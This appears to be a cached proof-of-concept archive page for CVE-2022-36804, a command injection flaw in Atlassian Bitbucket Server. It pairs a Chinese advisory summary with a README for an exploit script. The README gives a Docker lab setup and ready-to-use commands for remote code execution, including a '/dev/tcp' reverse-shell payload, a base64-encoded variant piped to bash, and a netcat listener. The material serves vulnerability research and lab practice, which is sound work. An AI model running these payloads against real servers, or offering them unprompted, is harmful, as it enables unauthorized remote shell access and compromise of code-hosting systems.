CVE-2022-36804 PoC — Atlassian Bitbucket Server 安全漏洞

Source

https://github.com/imbas007/Atlassian-Bitbucket-CVE-2022-36804

Associated Vulnerability

Title:Atlassian Bitbucket Server 安全漏洞 (CVE-2022-36804)
Description:Atlassian Bitbucket Server是澳大利亚Atlassian公司的一款Git代码托管解决方案。该方案能够管理并审查代码，具有差异视图、JIRA集成和构建集成等功能。 Atlassian Bitbucket Server and Data Center存在安全漏洞，该漏洞源于允许对公共或私有Bitbucket库有读取权限的远程攻击者通过发送恶意的HTTP请求执行任意代码。以下产品及版本受到影响：7.0.0 至 7.6.17 之前版本，7.7.0 至 7.17.10 之前版本，7.18.0

Readme

# Atlassian-Bitbucket-Server-CVE-2022-36804

A critical command injection vulnerability was found in multiple API endpoints of the Atlassian Bit bucket Server and Data center. This vulnerability affects all versions of Bitbucket Server and Data Center released before versions `<7.6.17`, `<7.17.10`, `<7.21.4`, `<8.0.3`, `<8.1.2`, `<8.2.2`, and `<8.3.1`

## Lab for CVE-2022-36804
### Build Docker
```
docker build -t bitbucket .
```

### Run Docker
```
docker run -it bitbucket
```

# Usage cve-2022-36804.py
### Check for Remote Code Execution (RCE)
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990
```

### Check for RCE with customized command (cmd)
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
```

###  Check for RCE with customized command, project key, and repository name
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c whoami -p NEW -r newrepo
```
### Get shell with netcat
Replace `172.17.0.3` with your local ip address
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "sh -i >& /dev/tcp/172.17.0.2/4444 0>&1"
```
### Start netcat listner with:
```
nc -lvp 4444
```
### Reverse shell online : `https://www.revshells.com`
```
Convert `sh -i >& /dev/tcp/172.17.0.2/4444 0>&1` to base64 in case of payload execution error. 
```
python3 cve-2022-36804.py -u `http://172.17.0.2:7990` -c "echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE3LjAuMi80NDQ0IDA+JjE=' | base64 -d | bash"
```
It is recommended to install vulnerable version of Bitbucket server in Windows/Linux machine for practice. It will be easy to achieve reverse shell compared to docker images.

More information can be found [here](https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/)

# References
* https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
* https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/
* https://github.com/walnutsecurity/cve-2022-36804

File Snapshot


 [4.0K]  /data/pocs/2b445cf614bbe583ecba6fb85977ae257600cff6
├── [6.5K]  CVE-2022-36804.py
├── [ 434]  Dockerfile.txt
└── [2.0K]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!